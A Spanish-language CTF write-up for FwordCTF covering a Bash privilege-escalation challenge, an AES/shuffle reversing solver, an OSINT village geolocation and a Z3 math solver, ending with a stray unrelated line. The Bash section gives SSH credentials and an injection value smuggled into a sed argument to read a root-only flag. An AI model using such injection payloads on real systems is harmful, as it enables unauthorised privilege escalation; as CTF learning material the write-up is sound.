**FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}**
## Bash - Bash is fun
> Bash is fun, prove me wrong and do some privesc. >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwOrDAndKahl4FTW
La flag solo puede ser leída por root o por un usuario del grupo **user-privileged**:
La salida de ```sudo -l``` indica que puedo ejecutar el script **welcome.sh** como user-privileged, el cual puede ver el contenido de flag.txt. El script es el siguiente:```bash#!/bin/bashname="greet"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1 ;; -u | --username ) shift; username=$1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo "Welcome To SysAdmin Welcomer \o/"
eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"export -f $nameisNew=0if [[ $isNew -eq 1 ]];then $namefi
if [[ $permission -eq 1 ]];then echo "You are: " idfi```
Se puede llevar a cabo una inyección de código mediante el parámetro **username**, el cual es utilizado en el sed para sustituir la palabra ‘user’ contenida en welcome.txt y mostrarlo por pantalla. El if relativo a la variable ‘isNew’ no se ejecuta nunca, pero se puede conseguir la ejecución de la función otorgando el valor **‘id’** al parámetro **'name'**, puesto que con el parámetro **permission** se puede ejecutar la sentencia ‘id’, que en vez de ser el comando /usr/bin/id sería la nueva función exportada.
La flag se leería entonces así: ```sudo -u user-privileged /home/user1/welcome.sh -u "pwned/g' flag.txt; echo '" -n id -p```. Nótese el echo del final con la comilla para cerrar correctamente el resto del comando y que no genere un error de sintaxis.
**FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}**
## Reversing - Tornado
Archivos: Tornado.7z
El archivo comprimido contiene un script en Python que desordena y cifra una flag con AES, cuya clave es conocida. Modifico el script para realizar funciones de descifrado, invirtiendo el orden. Sin embargo, la flag está desordenada, ya que pasó por la función **shuffle** antes de ser cifrada. Esta función es vulnerable porque asigna como semilla un caracter de la propia flag. Como la flag tiene el formato **FwordCTF{**...**}**, se puede iterar por cada caracter diferente de la flag y comprobar si las posiciones finales de la flag incompleta son iguales.
Un **detalle importante** que me hizo perder bastante tiempo, es que debe correrse con **Python3**. Entre las versiones de Python diferentes no se genera la misma secuencia de números para la misma semilla.
```python#!/usr/bin/python3#-*- encoding=UTF8 -*-from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Util.number import long_to_bytesfrom binascii import hexlify, unhexlifyimport random
key = "very_awes0m3_k3y"flag = "FwordCTF{W!Pr35gp_ZKrJt[NcV_Kd-/NmJ-8ep(*A48t9jBLNrdFDqSBGTAt}" # Cadena aleatoria de pruebaassert len(flag) == 62assert len(key) == 16
def to_blocks(text): return [text[i*2:(i+1)*2].encode() for i in range(len(text)//2)]
def random_bytes(seed): random.seed(seed) return long_to_bytes(random.getrandbits(8*16))
def encrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) plain_pad = pad(block, 16) return hexlify(cipher.encrypt(plain_pad)).decode()
def encrypt(txt, key): res = "" blocks = to_blocks(txt) for block in blocks: res += encrypt_block(block, key) return res
def translate(txt,l,r): return txt[:l]+txt[r:]+txt[l:r]
def shuffle(txt): seed=random.choice(txt) random.seed(seed) nums = [] for _ in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def slice(txt, n): return [txt[index : index + n] for index in range(0, len(txt), n)]
def decrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) return unpad(cipher.decrypt(unhexlify(block.encode())), 16).decode()
def shuffle2(txt, seed): random.seed(seed) nums = [] for i in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def reverse_translate(txt, l, r): n = len(txt) - r + l res = txt[:l] + txt[n:] + txt[l:n] assert len(res) == len(txt) return res
def crack(encrypted): # Descifra los bloques blocks = slice(encrypted, 32) decrypted = "".join(decrypt_block(block, key) for block in blocks) print("[*] Descifrado: " + decrypted) # Ahora la flag está shuffleada, por lo que se obtienen los indices # de los caracteres unicos en la parte que se conoce de la flag known = "FwordCTF{}" uniqueKnown = "" for c in known: if decrypted.count(c) == 1: uniqueKnown += c print("[*] Caracteres únicos de la parte conocida de la flag: " + uniqueKnown) indexes = [decrypted.index(c) for c in uniqueKnown] print("[*] Indices aleatorizados de los caracteres: " + str(indexes)) # Se itera el charset de la flag descifrada, ya que la semilla es un caracter de esta, # y se busca con cuales de ellas se obtienen los mismos indices charset = [] for char in decrypted: if char not in charset: charset.append(char) dummy = "FwordCTF{BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB}" assert len(dummy) == 62
seeds = [] for char in charset: res, _ = shuffle2(dummy, char) i = [res.index(c) for c in uniqueKnown] if indexes == i: seeds.append(char) print("[*] Posibles semillas: " + str(seeds)) # Se obtiene la secuencia de numeros aleatorios generados en la funcion shuffle for seed in seeds: _, nums = shuffle2(dummy, seed) # Aplica las operaciones inversas solution = decrypted for lr in nums: solution = reverse_translate(solution, lr[0], lr[1]) print("[*] Posible solución con semilla {}: {}".format(seed, solution))
def shuffleEncrypt(txt, key): shuffled, nums = shuffle(txt) print("[*] Desordenada: " + shuffled) print("[*] Nums: " + str(nums)) return encrypt(shuffled, key)
#encrypted = shuffleEncrypt(flag, key)encrypted = "3ce29d5f8d646d853b5f6677a564aec6bd1c9f0cbfac0af73fb5cfb446e08cfec5a261ec050f6f30d9f1dfd85a9df875168851e1a111a9d9bfdbab238ce4a4eb3b4f8e0db42e0a5af305105834605f90621940e3f801e0e4e0ca401ff451f1983701831243df999cfaf40b4ac50599de5c87cd68857980a037682b4dbfa1d26c949e743f8d77549c5991c8e1f21d891a1ac87166d3074e4859a26954d725ed4f2332a8b326f4634810a24f1908945052bfd0181ff801b1d3a0bc535df622a299a9666de40dfba06a684a4db213f28f3471ba7059bcbdc042fd45c58ae4970f53fb808143eaa9ec6cf35339c58fa12efa18728eb426a2fcb0234d8539c0628c49b416c0963a33e6a0b91e7733b42f29900921626bba03e76b1911d20728254b84f38a2ce12ec5d98a2fa3201522aa17d6972fe7c04f1f64c9fd4623583cc5a91cc471a13d6ab9b0903704727d1eb987fd5d59b5757babb92758e06d2f12fd7e32d66fe9e3b9d11cd93b11beb70c66b57af71787457c78ff152ff4bd63a83ef894c1f01ae476253cbef154701f07cc7e0e16f7eede0c8fa2d5a5dd5624caa5408ca74b4b8c8f847ba570023b481c6ec642dac634c112ae9fec3cbd59e1d2f84f56282cb74a3ac6152c32c671190e2f4c14704ed9bbe74eaafc3ce27849533141e9642c91a7bf846848d7fbfcd839c2ca3b"print("[*] Cifrado: " + encrypted)
crack(encrypted)```
**FwordCTF{peekaboo_i_am_the_flag_!\_i_am_the_danger_52592bbfcd8}**
## OSINT - Tracking a Criminal
Archivos: Villages.zip
> We have found a flash memory in the crime scene, and it contains 3 images of different villages. So, the criminal may be hiding in one of these villages! Can you locate them?> Flag Format: FwordCTF{}> * Separate between the villages names using underscores ( _ ).> * All the villages names are in lowercase letters.> * There is no symbols in the villages names.
La primera imagen sale tras unas cuantas fotos similares en la búsqueda por imágenes de Yandex. Se trata de un hotel famoso en Llanfairpwllgwyngyll, Gales.
#################
A primera vista la segunda imagen me resultó familiar, y es porque estuve en estuve en este lugar en una carrera de orientación hace años. Se trata de Monsanto, un pueblo en Portugal muy bonito y con unas cuantas cuestas.
Dejando a un lado la experiencia y analizando la imagen, creo que las principales pistas son: * La gran roca tras la casa en medio de la imagen. * El gallo veleta encima de la Iglesia a la derecha de la imagen * La cruz de piedra debajo de la iglesia
Una búsqueda en Google de ```"village" “boulders”``` y Monsanto aparece entre los primeros resultados. Desde Google Street View se puede ubicar la zona de la foto teniendo en cuenta la posición de la Iglesia y de la cruz.
Google Maps: https://www.google.com/maps/@40.0389769,-7.1163152,3a,75y,353.95h,97.3t/data=!3m6!1e1!3m4!1sxPxTHX5MEDkQgzwdIMKnKw!2e0!7i13312!8i6656
#################
Lo que se ve en la tercera imagen parece una especie de parque o cementerio en una ciudad montañosa, con varios edificios pintados de azul.
En la parte derecha de la foto se puede apreciar un logotipo naranja y amarillo con unas barras negras en medio, probablemente perteneciente a algún establecimiento. Tras varias búsquedas en internet y una búsqueda inversa de un dibujo en Paint que no subo porque es muy cutre, doy con que se trata del banco marroquí **Attijariwafa**, el cual tiene bastantes sucursales por el mundo.
Llama la atención que hay bastantes edificios pintados de azul. Realizo la búsqueda ```"morocco" "blue" "paint"``` el principal resultado es la ciudad Chefchaouen, característica por este motivo. Busco en Google Maps su localización y encuentro el banco junto al parque de la foto.
Google Maps: https://www.google.com/maps/@35.168796,-5.2683641,3a,89.1y,122.25h,91.39t/data=!3m8!1e1!3m6!1sAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem!2e10!3e11!6shttps:%2F%2Flh5.googleusercontent.com%2Fp%2FAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem%3Dw203-h100-k-no-pi0-ya229.80328-ro-0-fo100!7i8704!8i4352
**FwordCTF{llanfairpwllgwyngyll_monsanto_chefchaouen}**
## Misc - Secret Array
```nc secretarray.fword.wtf 1337```
Para hallar los valores, realizo la suma del primer valor con el resto, lo cual supone 1336 operaciones. La restante se utiliza para hallar la suma entre el segundo y el tercer elemento, suficiente para resolver la ecuación. Utilizo **Z3**:```python#!/usr/bin/python3from pwn import *from z3 import *
target = remote("secretarray.fword.wtf", 1337)target.recv()
solver = Solver()
LENGTH = 1337# Genera las variablesvariables = [Int(f"v_{i}") for i in range(LENGTH)]
for v in variables: solver.add(v > 0)
# Halla la suma del primer valor con el resto (1336 peticiones)print("[*] Hallando sumas...")for i in range(1, LENGTH): print("[*] " + str(i)) target.sendline("0 {}".format(i)) suma = int(target.recvline().strip()) solver.add(variables[0] + variables[i] == suma)
# Halla la suma del segundo y tercer valor (última petición)target.sendline("1 2")suma = int(target.recvline().strip())solver.add(variables[1] + variables[2] == suma)
# Resuelveprint("[*] Resolviendo...")solver.check()model = solver.model()
done = "DONE "for v in variables: done += str(model[v]) + " "
target.sendline(done)target.interactive()```
**FwordCTF{it_s_all_about_the_math}**
|
In this task you should be contact with admin, he will power on the controller, and you will try to run your payload with some message on lcd using flow.m5stack.com |
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